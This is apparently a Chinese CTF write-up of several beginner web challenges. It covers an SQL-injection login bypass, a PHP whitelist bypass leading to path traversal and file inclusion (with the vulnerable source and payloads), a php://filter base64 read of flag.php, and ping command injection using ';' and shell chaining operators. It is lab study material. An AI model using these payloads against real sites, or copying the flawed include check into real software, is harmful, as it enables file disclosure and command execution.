[极客大挑战 2019]EasySQL
一个sql注入登录框,直接万能密码登录
拿到flag
[极客大挑战 2019]Havefun
打开环境,没有任何信息,查看源码,发现这么一段代码
GET方式 传入一个cat 请求,并且变量值为dog ,即**?cat=dog**,得到flag
[HCTF 2018]WarmUp
打开环境,是一张图片,查看源码发现source.php目录
访问该目录,并对源码进行分析
php
<?php
highlight_file(__FILE__); //代码高亮表示
class emmm
{
public static function checkFile(&$page) //检查$page变量
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //设置白名单suorce.php hint.php
if (! isset($page) || !is_string($page)) { //如果$page为空或者非字符串,则输出"you can't see it"
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //如果$page包含白名单,则返回true
return true;
}
$_page = mb_substr( //提取从$page开始的字符串,0 ~ mb_strpos返回的结果
$page,
0,
mb_strpos($page . '?', '?') //返回第一次出现?的索引位置(从1开始),如果没有则在末尾补一个(从0开始)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //传入一个file参数并且不为空
&& is_string($_REQUEST['file']) //检查是否是字符串
&& emmm::checkFile($_REQUEST['file']) //在checkFile函数检查
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
查看hint.php
pyload:
php
source.php?file=source.php?./../../../../ffffllllaaaagggg
source.php?file=hint.php?./../../../../ffffllllaaaagggg
/ 代表根目录,../ 代表上一级目录 ,./ 代表当前目录
[ACTF2020 新生赛]Include
打开环境有个tips ,点进去,该页面有用的信息只有file传参点
查看源码,抓包都无有用信息,故利用file传参点 尝试,结合题目名称可能是file伪协议
php
?file=php://filter/read=convert.base64-encode/resource=flag.php
得出一段base64编码,解码一下
[ACTF2020 新生赛]Exec
打开环境是一个ping命令框,先随便ping一下ip
利用 ; 截断,然后查找flag
常见管道符:
php
; : 无论前面是否执行,后面都执行
||(逻辑或):前命令失败执行后命令,如果前命令成功则不执行后命令
| :前者结果作为后者参数使用
&& :前命令成功执行后命令,如果失败则不执行后命令